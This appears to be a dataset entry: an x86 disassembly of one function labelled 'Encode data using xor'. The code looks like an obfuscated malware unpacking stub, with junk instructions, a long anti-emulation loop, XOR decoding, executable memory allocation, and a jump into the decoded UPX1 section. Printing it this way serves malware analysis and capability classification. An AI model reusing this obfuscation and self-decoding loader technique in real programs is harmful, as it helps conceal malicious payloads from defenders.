Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf05cd0d1
sub ebx, edx
sub ebx, 0x3252d80
popal
add edx, 0x1a199721
mov ebx, edx
add ebx, 0xeb09055d
mov edx, 0
mov esi, edi
mov ebx, 0xf103e8d0
sub ebx, 1
mov ecx, esi
sub ebx, 0xc46c57c7
add eax, 0xffac5842
and eax, ebx
mov edi, ecx
not ebx
or eax, eax
inc edx
dec eax
not ebx
cmp edx, 0x1000cc0
jne 0x47afda
inc eax
add ebx, ebx
cmp edx, 0x1000cc0
je 0x47b01f
mov edx, 0
mov byte [edx], al
or ebx, ebx
mov ebx, eax
add ebx, 0x32acfdc
not ebx
mov esi, 0x47ada2
sub edx, 0x3c12fae7
mov edx, 0x209435e6
mov edi, 0x47af96
sub ebx, ecx
dec edx
mov eax, dword [esi]
add edx, edx
add ecx, ecx
and eax, 0xff
mov ebx, edx
mov edx, ecx
or ebx, edx
xor dword [edi], eax
mov ecx, ebx
inc edx
inc edi
not ecx
dec edx
mov ebx, 0xc9b444ce
add esi, 1
or ebx, ecx
dec ebx
inc ecx
cmp edi, entry0
jl 0x47b043
not ebx
sub ecx, 0x52e155a3
inc ebx
mov edx, 0xdc9e611e
dec ebx
sub edx, 0xd4ca1dd5
mov edx, ebx
add edx, esi
mov ecx, 0x47af9a
mov esi, ebx
inc esi
mov ecx, dword [ecx]
sub ebx, edi
add esi, edi
mov esi, 0xece1e485
mov ecx, dword [ecx]
dec edx
or edx, edx
sub esi, edx
push ecx
mov edi, ebx
sub edi, 1
and edx, edx
mov ecx, 0x47af96
add edi, ebx
mov esi, 0x86c881b2
mov ecx, dword [ecx]
inc edx
and ebx, esi
mov ecx, dword [ecx]
add ebx, 0xd902acdd
add ebx, 0x254cbcda
not ebx
push 0x47af9e
mov ebx, 0x541b6044
add esi, 1
not edi
call ecx
add edx, edi
dec edx
not ebx
pop ecx
mov edx, 0x774320ae
dec edx
not edi
push 0x47afab
add esi, 0xb1ef2738
sub edi, 1
mov edx, 0x118d0410
sub esp, 4
mov dword [esp], eax
add esi, edi
add edi, 0xfb71c4db
call ecx
sub edx, 0xc82866cd
not edi
not edx
sub esp, 4
mov dword [esp], 0x40
not edx
mov ebx, esi
push 0x3000
dec edi
mov ebx, 0xf8cbddd3
push 0x20000f7a
not esi
sub edi, edx
push 0
sub ebx, esi
dec edx
add edi, 1
call eax
add ebx, 1
sub edi, esi
add eax, 0x20000ef8
sub esi, edx
or edi, esi
mov esi, 0x5980872
mov ecx, 0x6d9a3679
sub edi, 0x29809859
mov edi, edx
mov dword [eax], ecx
and esi, esi
add edx, edi
not edi
mov ecx, dword [eax]
not ebx
add esi, esi
sub edx, ebx
cmp ecx, 0x6d9a3679
je 0x47b19f
mov edx, 0
mov dword [edx], ecx
mov edi, 0xf5a824f
add edx, 0x5aea7e22
or esi, edx
inc edi
sub ebx, 0x1a2f9bd0
not edx
add edx, edx
mov esi, section.UPX1
sub ebx, 0x91a8e4c6
sub edx, 0x7f3e500
mov edi, 0x47ada1
sub edx, ebx
mov ebx, 0x6e50ceb4
mov ebx, edx
mov eax, 0
add ebx, 0xcf7b9728
add edx, 0x487a3260
inc edx
mov ecx, 0x47ada2
mov ebx, edx
mov ebx, edx
lea ecx, [ecx + eax]
add edx, ebx
or ebx, ebx
mov ecx, dword [ecx]
add ebx, 1
sub ebx, edx
and edx, ebx
and ecx, 0xff
mov edx, 0xdd3a7733
add edx, 0xd02ad271
add ebx, 1
inc eax
add edx, ebx
add ebx, ebx
sub ebx, edx
cmp eax, 0x1f4
jne 0x47b22f
mov eax, 0
and edx, ebx
not ebx
not ebx
sub edx, ebx
or edx, ebx
xor dword [esi], ecx
add ebx, 1
add edx, edx
not edx
add esi, 2
add edx, ebx
sub edx, ebx
cmp esi, edi
jl 0x47b1e8
mov ebx, 0xddf6527
sub edx, 0xffd5506e
or ebx, ebx
and edx, edx
or edx, edx
mov esi, section.UPX1
sub ecx, 0xeb47fbfa
sub edx, 0xe9fb212d
or ecx, ecx
mov edi, section.UPX1
mov ecx, edx
or edx, edx
mov eax, 0x47ada1
mov edx, 0xd2a6f06d
not ecx
mov ebx, 0
add edx, edx
and edx, edx
sub ecx, 1
mov bl, byte [edi]
mov edx, 0x6de24526
or edx, edx
sub edx, ecx
mov byte [esi], bl
sub ecx, edx
mov edx, 0x85416841
dec ecx
inc esi
sub edx, 0x9c0bad34
sub ecx, edx
add edi, 2
or edx, ecx
mov ecx, 0x887b2705
cmp edi, eax
jle 0x47b29f
and edx, ecx
add ecx, ecx
dec ebx
dec ebx
mov edx, ebx
push 0x45e6a0
add ebx, 0x27a3165f
mov edx, 0x27d73003
add ebx, edx
ret